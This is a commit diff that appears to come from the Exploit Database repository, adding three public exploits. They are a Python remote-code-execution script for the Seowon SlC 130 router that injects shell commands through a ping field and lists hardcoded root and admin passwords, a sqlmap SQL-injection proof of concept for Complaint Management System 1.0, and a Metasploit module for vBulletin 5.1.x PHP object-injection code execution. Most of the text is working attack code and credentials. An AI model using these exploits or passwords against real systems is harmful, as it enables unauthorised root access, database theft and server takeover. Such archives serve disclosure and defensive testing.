DB: 2020-08-22
3 changes to exploits/shellcodes Complaint Management System 1.0 - 'cid' SQL Injection Seowon SlC 130 Router - Remote Code Execution vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit)
This commit is contained in:
Offensive Security
parent
caf6833937
commit
3b08fb4f1e
4 changed files with 210 additions and 0 deletions
92
exploits/hardware/webapps/48759.txt
Normal file
92
exploits/hardware/webapps/48759.txt
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
# Exploit Title: Seowon SlC 130 Router - Remote Code Execution
|
||||
# Author: maj0rmil4d - Ali Jalalat
|
||||
# Author website: https://secureguy.ir
|
||||
# Date: 2020-08-20
|
||||
# Vendor Homepage: seowonintech.co.kr
|
||||
# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kind=B05&middle_kind=B05_29
|
||||
# CVE: CVE-2020-17456
|
||||
# Version: Lync:Mac firmware 1.0.1, likely earlier versions
|
||||
# Tested on: Windows 10 - Parrot sec
|
||||
|
||||
# Description:
|
||||
# user can run arbitrary commands on the router as root !
|
||||
# as there are already some hardcoded credentials so there is an easy to trigger exploit
|
||||
|
||||
# credentials :
|
||||
# user => VIP
|
||||
# pwd => V!P83869000
|
||||
|
||||
# user => Root
|
||||
# pwd => PWDd0N~WH*4G#DN
|
||||
|
||||
# user => root
|
||||
# pwd => gksrmf28
|
||||
|
||||
# user => admin
|
||||
# pwd => admin
|
||||
#
|
||||
|
||||
# A write-up can be found at:
|
||||
# https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/
|
||||
|
||||
import requests
|
||||
import sys
|
||||
|
||||
host = sys.argv[1]
|
||||
|
||||
session = requests.Session()
|
||||
|
||||
header = {
|
||||
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q:0.9,image/webp,*/*;q:0.8",
|
||||
"Accept-Language": "en-US,en;q:0.5",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Content-Type": "pplication/x-www-form-urlencoded",
|
||||
"Content-Length": "132",
|
||||
"Origin": "http://192.168.1.1",
|
||||
"Connection": "close",
|
||||
"Referer": "http://192.168.1.1/",
|
||||
"Upgrade-Insecure-Requests": "1"
|
||||
}
|
||||
|
||||
|
||||
|
||||
datas = {
|
||||
|
||||
"Command":"Submit",
|
||||
"expires":"Wed%2C+12+Aug+2020+15%3A20%3A05+GMT",
|
||||
"browserTime":"081119502020",
|
||||
"currentTime":"1597159205",
|
||||
"user":"admin",
|
||||
"password":"admin"
|
||||
}
|
||||
|
||||
|
||||
#auth
|
||||
|
||||
session.post(host+"/cgi-bin/login.cgi" , headers=header , data = datas)
|
||||
|
||||
#rce
|
||||
|
||||
cmd = sys.argv[2]
|
||||
|
||||
rce_data = {
|
||||
|
||||
"Command":"Diagnostic",
|
||||
"traceMode":"ping",
|
||||
"reportIpOnly":"",
|
||||
"pingIpAddr":";".encode("ISO-8859-1").decode()+cmd,
|
||||
"pingPktSize":"56",
|
||||
"pingTimeout":"30",
|
||||
"pingCount":"4",
|
||||
"maxTTLCnt":"30",
|
||||
"queriesCnt":"3",
|
||||
"reportIpOnlyCheckbox":"on",
|
||||
"btnApply":"Apply",
|
||||
"T":"1597160664082"
|
||||
}
|
||||
|
||||
rce = session.post(host+"/cgi-bin/system_log.cgi" , headers=header , data = rce_data)
|
||||
|
||||
print("one line out put of ur command => " + rce.text.split('!')[1].split('[')[2].split("\n")[0])
|
||||
11
exploits/php/webapps/48758.txt
Normal file
11
exploits/php/webapps/48758.txt
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
# Title: Complaint Management System 1.0 - 'cid' SQL Injection
|
||||
# Exploit Author: Mohamed Elobeid (0b3!d)
|
||||
# Date: 2020-08-21
|
||||
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
|
||||
# Software Link: https://www.sourcecodester.com/download-code?nid=14206&title=Complaint+Management+System
|
||||
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
|
||||
# Description
|
||||
This parameter "cid" is vulnerable to Error-Based blind SQL injection in this path "/Complaint%20Management%20System/admin/complaint-details.php?cid=60" that leads to retrieve all databases.
|
||||
|
||||
#POC
|
||||
sqlmap -u 'http://target/Complaint Management System/admin/complaint-details.php?cid=60' --cookie="PHPSESSID=bb4g25d3qceicepo7b3d26cfpp" --dbms=mysql --dbs
|
||||
104
exploits/php/webapps/48761.rb
Executable file
104
exploits/php/webapps/48761.rb
Executable file
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'vBulletin 5.1.2 Unserialize Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Netanel Rubin', # reported by
|
||||
'cutz', # original exploit
|
||||
'Julien (jvoisin) Voisin', # metasploit module
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x22",
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-7808'],
|
||||
['EDB', '38629'],
|
||||
['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
|
||||
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
|
||||
],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
|
||||
['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 4 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => target_uri.path })
|
||||
if (res && res.body.include?('vBulletin Solutions, Inc.'))
|
||||
if res.body.include?("Version 5.0")
|
||||
@my_target = targets[1] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.include?("Version 5.1")
|
||||
@my_target = targets[2] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Trying to inferprint the instance...")
|
||||
|
||||
@my_target = target
|
||||
check_code = check
|
||||
|
||||
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
|
||||
end
|
||||
|
||||
if @my_target.nil? || @my_target['auto']
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
|
||||
end
|
||||
|
||||
print_status("Exploiting #{@my_target.name}...")
|
||||
|
||||
chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
|
||||
chain << @my_target["chain"].length.to_s
|
||||
chain << ':"'
|
||||
chain << @my_target["chain"]
|
||||
chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
|
||||
chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"
|
||||
|
||||
chain = Rex::Text.uri_encode(chain)
|
||||
chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
|
||||
'vars_get' => {
|
||||
'arguments' => chain
|
||||
},
|
||||
'encode_params' => false,
|
||||
})
|
||||
end
|
||||
end
|
||||
|
|
@ -42998,3 +42998,6 @@ id,file,description,date,author,type,platform,port
|
|||
48755,exploits/hardware/webapps/48755.txt,"Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal",2020-08-19,Tuygun,webapps,hardware,
|
||||
48756,exploits/php/webapps/48756.txt,"ElkarBackup 1.3.3 - Persistent Cross-Site Scripting",2020-08-20,"Enes Özeser",webapps,php,
|
||||
48757,exploits/hardware/webapps/48757.txt,"PNPSCADA 2.200816204020 - 'interf' SQL Injection (Authenticated)",2020-08-20,"İsmail ERKEK",webapps,hardware,
|
||||
48758,exploits/php/webapps/48758.txt,"Complaint Management System 1.0 - 'cid' SQL Injection",2020-08-21,"Mohamed Elobeid",webapps,php,
|
||||
48759,exploits/hardware/webapps/48759.txt,"Seowon SlC 130 Router - Remote Code Execution",2020-08-21,maj0rmil4d,webapps,hardware,
|
||||
48761,exploits/php/webapps/48761.rb,"vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit)",2017-07-24,Metasploit,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue